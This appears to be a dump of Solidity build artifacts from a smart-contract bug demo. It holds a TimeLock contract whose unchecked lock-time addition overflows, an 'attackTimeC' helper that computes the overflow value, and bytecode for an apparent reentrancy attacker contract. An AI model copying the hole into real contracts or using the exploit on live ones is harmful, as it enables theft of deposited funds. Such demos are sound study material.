ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x3AF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x1A2 PUSH2 0x3C7 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x1 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB ADD PUSH1 0x2 DUP2 SWAP1 SSTORE POP PUSH1 0x2 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD GT ISZERO ISZERO PUSH2 0x27D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD TIMESTAMP GT ISZERO ISZERO PUSH2 0x2CA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC PUSH8 0xDE0B6B3A7640000 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x35C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST DUP1 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP PUSH3 0x93A80 TIMESTAMP ADD PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LOG1 DUP11 PUSH9 0xFB380AB8C7786D57A5 BYTE STATICCALL 0xc1 0xdc SWAP2 DUP5 0xce DUP7 0xcc 0xb2 0xaf SWAP2 0xea PUSH9 0xC64DF7BFB12B002900 ", | |
"sourceMap": "25:833:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;708:143;;8:9:-1;5:2;;;30:1;27;20:12;5:2;708:143:0;;;;;;;;;;;;;;;;;;;;;;;54:40;;8:9:-1;5:2;;;30:1;27;20:12;5:2;54:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;437:194;;8:9:-1;5:2;;;30:1;27;20:12;5:2;437:194:0;;;;;;311:116;;8:9:-1;5:2;;;30:1;27;20:12;5:2;311:116:0;;;;;;;;;;;;;;;;;;;;;;;;;;100:40;;8:9:-1;5:2;;;30:1;27;20:12;5:2;100:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;172:129;;;;;;708:143;751:4;815:1;793:8;:20;802:10;793:20;;;;;;;;;;;;;;;;780:10;:33;:36;767:10;:49;;;;834:10;;827:17;;708:143;:::o;54:40::-;;;;;;;;;;;;;;;;;:::o;437:194::-;505:1;482:8;:20;491:10;482:20;;;;;;;;;;;;;;;;:24;474:33;;;;;;;;531:8;:20;540:10;531:20;;;;;;;;;;;;;;;;525:3;:26;517:35;;;;;;;;585:1;562:8;:20;571:10;562:20;;;;;;;;;;;;;;;:24;;;;596:10;:19;;:28;616:7;596:28;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;596:28:0;437:194::o;311:116::-;402:18;378:8;:20;387:10;378:20;;;;;;;;;;;;;;;;:42;;;;;;;;;;;311:116;:::o;100:40::-;;;;;;;;;;;;;;;;;:::o;172:129::-;239:9;215:8;:20;224:10;215:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;287:7;281:3;:13;258:8;:20;267:10;258:20;;;;;;;;;;;;;;;:36;;;;172:129::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "232400", | |
"executionCost": "275", | |
"totalCost": "232675" | |
}, | |
"external": { | |
"attackTimeC()": "20717", | |
"balances(address)": "554", | |
"deposit()": "40648", | |
"increaseLockTime(uint256)": "20579", | |
"lockTime(address)": "620", | |
"withdraw()": "infinite" | |
} | |
}, | |
"methodIdentifiers": { | |
"attackTimeC()": "2115eabd", | |
"balances(address)": "27e235e3", | |
"deposit()": "d0e30db0", | |
"increaseLockTime(uint256)": "79af55e4", | |
"lockTime(address)": "a4beda63", | |
"withdraw()": "3ccfd60b" | |
} | |
}, | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "attackTimeC", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "withdraw", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_secondsToIncrease", | |
"type": "uint256" | |
} | |
], | |
"name": "increaseLockTime", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lockTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "deposit", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
} | |
] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"compiler": { | |
"version": "0.4.26+commit.4563c3fc" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "attackTimeC", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "withdraw", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_secondsToIncrease", | |
"type": "uint256" | |
} | |
], | |
"name": "increaseLockTime", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lockTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "deposit", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"userdoc": { | |
"methods": {} | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"bit-smartcontract-bug/overflow/TimeLock.sol": "TimeLock" | |
}, | |
"evmVersion": "byzantium", | |
"libraries": {}, | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"bit-smartcontract-bug/overflow/TimeLock.sol": { | |
"keccak256": "0xdd4e45cc5f054861dd88469851e44a46f63c84b6caa1940e356a0677b5168267", | |
"urls": [ | |
"bzzr://ca6953ae706c67eb11074a2ac91b10f4d7ef58bf7221ed7cfc17737045813484" | |
] | |
} | |
}, | |
"version": 1 | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.26; | |
contract TimeLock { | |
mapping(address => uint) public balances; | |
mapping(address => uint) public lockTime; | |
uint attackTime; | |
function deposit() public payable{ | |
balances[msg.sender] += msg.value; | |
lockTime[msg.sender] = now + 1 weeks; | |
} | |
function increaseLockTime(uint _secondsToIncrease) public{ | |
lockTime[msg.sender] += _secondsToIncrease; | |
} | |
function withdraw() public { | |
require(balances[msg.sender] > 0); | |
require(now > lockTime[msg.sender]); | |
balances[msg.sender] = 0; | |
msg.sender.transfer(1 ether); | |
} | |
//This code is used to compute the Time to unlock the contract | |
function attackTimeC() public view returns(uint){ | |
attackTime = 2**256 - 1 - lockTime[msg.sender] +1; | |
return attackTime; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a72305820101c900821bb1e17824fec5e2957ccd806b131162af03e522c4c31be4c7e6fe30029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH1 0x20 DUP1 PUSH2 0x46D DUP4 CODECOPY DUP2 ADD DUP1 PUSH1 0x40 MSTORE DUP2 ADD SWAP1 DUP1 DUP1 MLOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x3EA DUP1 PUSH2 0x83 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x57 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x6289D385 EQ PUSH2 0x152 JUMPI DUP1 PUSH4 0xACD2E6E5 EQ PUSH2 0x15C JUMPI DUP1 PUSH4 0xFF11E1DB EQ PUSH2 0x1B3 JUMPI JUMPDEST PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE GT ISZERO PUSH2 0x150 JUMPI PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x137 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x14B JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMPDEST STOP JUMPDEST PUSH2 0x15A PUSH2 0x1CA JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x168 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x171 PUSH2 0x339 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1BF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1C8 PUSH2 0x35E JUMP JUMPDEST STOP JUMPDEST PUSH8 0xDE0B6B3A7640000 CALLVALUE LT ISZERO ISZERO ISZERO PUSH2 0x1E1 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xE2C41DBC PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x26E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x282 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x31F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x333 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC ADDRESS PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x3BB JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 LT SHR SWAP1 ADDMOD 0x21 0xbb 0x1e OR DUP3 0x4f 0xec 0x5e 0x29 JUMPI 0xcc 0xd8 MOD 0xb1 BALANCE AND 0x2a CREATE RETURNDATACOPY MSTORE 0x2c 0x4c BALANCE 0xbe 0x4c PUSH31 0x6FE30029000000000000000000000000000000000000000000000000000000 ", | |
"sourceMap": "53:799:0:-;;;176:100;8:9:-1;5:2;;;30:1;27;20:12;5:2;176:100:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;250:18;226:10;;:43;;;;;;;;;;;;;;;;;;176:100;53:799;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a72305820101c900821bb1e17824fec5e2957ccd806b131162af03e522c4c31be4c7e6fe30029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x57 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x6289D385 EQ PUSH2 0x152 JUMPI DUP1 PUSH4 0xACD2E6E5 EQ PUSH2 0x15C JUMPI DUP1 PUSH4 0xFF11E1DB EQ PUSH2 0x1B3 JUMPI JUMPDEST PUSH8 0xDE0B6B3A7640000 PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE GT ISZERO PUSH2 0x150 JUMPI PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x155DD5EE PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x137 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x14B JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMPDEST STOP JUMPDEST PUSH2 0x15A PUSH2 0x1CA JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x168 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x171 PUSH2 0x339 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x1BF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x1C8 PUSH2 0x35E JUMP JUMPDEST STOP JUMPDEST PUSH8 0xDE0B6B3A7640000 CALLVALUE LT ISZERO ISZERO ISZERO PUSH2 0x1E1 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xE2C41DBC PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH29 0x100000000000000000000000000000000000000000000000000000000 MUL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x26E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x282 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 